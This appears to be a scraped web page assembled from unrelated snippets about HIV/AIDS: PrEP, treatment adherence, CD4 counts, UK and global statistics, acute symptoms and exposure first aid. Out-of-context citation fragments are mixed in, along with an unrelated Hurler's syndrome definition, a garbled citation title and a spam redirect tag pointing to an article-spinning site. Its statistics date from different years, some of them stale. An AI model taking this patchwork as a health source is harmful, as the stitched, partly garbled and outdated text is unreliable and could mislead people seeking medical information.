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A Pakistani technician takes samples in a laboratory alongside a ribbon promoting World Aids Day in Islamabad on November 30, 2013. Researchers in the United States believe there may finally be an HIV vaccine within 10 years.

Learn about sexually transmitted diseases (STDs) including symptoms, signs, diagnosis, and treatment options. Get more information on herpes, genital warts, chlamydia, scabies, HIV/AIDS, and other STDs.

All of the arguments proposed by these dissenters have been addressed and rebutted in the scientific literature and public discussion and even tested and rejected in the legal system. Nevertheless, they persist, and such views can have extremely harmful effects on people who are exposed to HIV infection unnecessarily or who refuse treatment for their progressing infection.

Taking an antiretroviral drug beforebeing exposed to HIV can reduce the risk of HIV infection. Such preventive treatment is called preexposure prophylaxis (PrEP). However, PrEP is expensive and is effective only if people take the drug every day. Thus, PrEP is recommended only for people who have a very high risk of becoming infected, such as people who have a partner is infected with HIV.

Taking the drugs as directed for a life time is demanding. Some people skip doses or stop taking the drugs for a time (called a drug holiday). These practices are dangerous because they enable HIV to develop resistance to the drugs. Because taking HIV drugs irregularly often leads to drug resistance, health care practitioners try to make sure that people are both willing and able to adhere to the treatment regimen. To simplify the drug schedule and to help people take the drugs as directed, doctors often prescribe treatment that combines two or more drugs in one tablet that can be taken only once a day.

Jump up ^ Littlewood RA, Vanable PA (September 2008). “Complementary and alternative medicine use among HIV-positive people: research synthesis and implications for HIV care”. AIDS Care. 20 (8): 1002–18. doi:10.1080/09540120701767216. PMC 2570227 . PMID 18608078.

As soon as you’re infected with HIV, it starts to reproduce in your body. Your immune system reacts to the antigens by producing antibodies. The time between exposure to HIV and when it becomes detectable in your blood is called the HIV window period.

EFFECT OF HIV ON IMMUNE SYSTEM: HIV contains several proteins: gp 120 protein around it and viral RNA and p24 protein inside. The gp 120 proteins attach to CD4+ receptors of T lymphocytes; HIV enters the cell and makes viral DNA; the enslaved host cell produces new viruses that bud, which destroy the host cell’s membrane, causing cellular death and allowing the virus to leave to attack other CD4+ lymphocyte cells.

The number of new cases of AIDS acquired from heterosexual intercourse used to be greater than from men who have sex with men, but this situation was reversed in 2011. Approximately half (52%, 1,560/2,990 in 2011) of all infections among heterosexuals were probably acquired in the UK and this proportion has increased over recent years. The figure in 2002 was 27%.[5]

^ Jump up to: a b c Coakley E, Petropoulos CJ, Whitcomb JM (2005). “Assessing ch vbgemokine co-receptor usage in HIV”. Current Opinion in Infectious Diseases. 18 (1): 9–15. doi:10.1097/00001432-200502000-00003. PMID 15647694.

According to the Joint United Nations Programme on HIV/AIDS (UNAIDS), [76] worldwide in 2015, approximately 36.7 million people (1% of the global adult population aged 15-49 years) were infected with HIV, a decline from 2006 (39.5 million reported at that time). UNAIDS estimates that approximately 2.1 million people were newly infected with HIV and that 1.1 million people died of AIDS in 2015, both statistics showing a decline over time.

Prenatal and perinatal human immunodeficiency virus testing: expanded recommendations. ACOG Committee Opinion No. 304. American College of Obstetricians and Gynecologists. Obstet Gynecol 2004;104:1119–24.

During this phase, the infection is established and a proviral reservoir is created. [60, 61] This reservoir consists of persistently infected cells, typically macrophages, and appears to steadily release virus. Some of the viral release replenishes the reservoir, and some goes on to produce more active infection.

HIV destroys T cells called CD4 cells. These cells help your immune system fight infections. Healthy adults generally have a CD4 count of 800 to 1,000 per cubic millimeter. If you have HIV and your CD4 count falls below 200 per cubic millimeter, you will be diagnosed with AIDS.

Before starting treatment, patients must be aware of the short- and long-term side effects of the drugs, including the fact that some long-term complications may not be known. Patients also need to realize that therapy is a long-term commitment and requires consistent adherence to the drugs. In addition, clinicians and patients should recognize that depression, feelings of isolation, substance abuse, and side effects of the antiviral drugs can all be associated with the failure to follow the treatment program.

The best combination of drugs for HIV are those that effectively suppress viral replication in the blood and also are well tolerated and simple to take so that people can take the medications consistently without missing doses.

^ Jump up to: a b Chou R, Huffman LH, Fu R, Smits AK, Korthuis PT (July 2005). “Screening for HIV: a review of the evidence for the U.S. Preventive Services Task Force”. Annals of Internal Medicine. 143 (1): 55–73. doi:10.7326/0003-4819-143-1-200507050-00010. PMID 15998755.

Hurler’s syndrome; lipochondrodystrophy; dysostosis multiplex autosomal-recessive inherited generalized lipid disturbance and mucopolysaccharoidosis, affecting cartilage, bone, skin, subcutaneous tissues, brain, liver and spleen; characterized by short stature, shortness of neck, trunk and digits, kyphosis, reduced joint mobility, learning difficulties, characteristic facies (so-called gargoylism) and visual impairment

Because death rarely occurs suddenly in people with AIDS, people usually have time to make plans for the kind of their health care they want if their condition worsens. Nonetheless, people should record such plans in a legal document early and should include clear instructions about the kind of care they want (called advance directives). Other legal documents, including powers of attorney and wills, should be prepared. These documents are particularly important for same-sex couples because they may wish to protect the assets and rights (including visitation and decision-making) of their partners.

As of early 2009, there was no cure for AIDS and no vaccine to prevent infection. Treatment stresses aggressive combination drug therapy for those patients with access to the expensive medications and who tolerate them adequately. The use of these multi-drug therapies has significantly improved and prolonged the life of HIV/AIDS patients in the United States.

Palella FJ Jr, Deloria-Knoll M, Chmiel JS, Moorman AC, Wood KC, Greenberg AE, et al. Survival benefit of initiating antiretroviral therapy in HIV-infected persons in different CD4+ cell strata. HIV Outpatient Study Investigators. Ann Intern Med 2003;138:620–6. [PubMed] [Full Text] ⇦

Estimation of current incidence of HIV is difficult. A back-calculation analysis (a statistical method using incubation period to project future distribution of infection) suggests there has been little change in HIV incidence in MSM over recent years. If there has been a decrease in transmissibility associated with antiretroviral treatment in those diagnosed it may have been offset by an increase in risky behaviours. In 2012, there were 2,300-2,500 new infections annually and 7,200 MSM undiagnosed.[5]London has been the main focus of the HIV epidemic in the UK. Of those MSM receiving HIV care in 2012, 50% lived in London.[7]

The specific details of the disease process that leads to AIDS are not fully understood despite considerable progress in the virology of HIV and the immunology of the human host, much of which has been driven by the urge to better understand AIDS. [23, 24, 25]

There is less evidence that treatment of HIV-2 infection slows progression, and certain antiretroviral medications (specifically the non-nucleoside–analogue reverse-transcriptase inhibitors) are not effective against HIV-2. The HIV-1 viral-load assays are much less reliable at quantifying HIV-2, if they work at all. HIV-2 viral load assays have been developed, but none has been approved by the US Food and Drug Administration except as blood donor–screening tools.

Public education: Education is effective and appears to have decreased rates of infection in some countries, notably Thailand and Uganda. Because sexual contact accounts for most cases, teaching people to avoid unsafe sex practices is the most relevant measure (see Table: HIV Transmission Risk for Several Sexual Activities).

After initial exposure to blood, the exposed area is immediately cleaned with soap and water for skin exposures and with antiseptic for puncture wounds. If mucous membranes are exposed, the area is flushed with large amounts of water.

The initial period following the contraction of HIV is called acute HIV, primary HIV or acute retroviral syndrome.[2][26] Many individuals develop an influenza-like illness or a mononucleosis-like illness 2–4 weeks post exposure while others have no significant symptoms.[27][28] Symptoms occur in 40–90% of cases and most commonly include fever, large tender lymph nodes, throat inflammation, a rash, headache, and/or sores of the mouth and genitals.[26][28] The rash, which occurs in 20–50% of cases, presents itself on the trunk and is maculopapular, classically.[29] Some people also develop opportunistic infections at this stage.[26] Gastrointestinal symptoms, such as vomiting or diarrhea may occur.[28] Neurological symptoms of peripheral neuropathy or Guillain–Barré syndrome also occurs.[28] The duration of the symptoms varies, but is usually one or two weeks.[28]

HIV is a complicated virus. It mutates rapidly and is adept at evading immune system responses. Only a small number of people infected with HIV develop broadly neutralizing antibodies, the kind of antibodies that can fight a range of strains. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]

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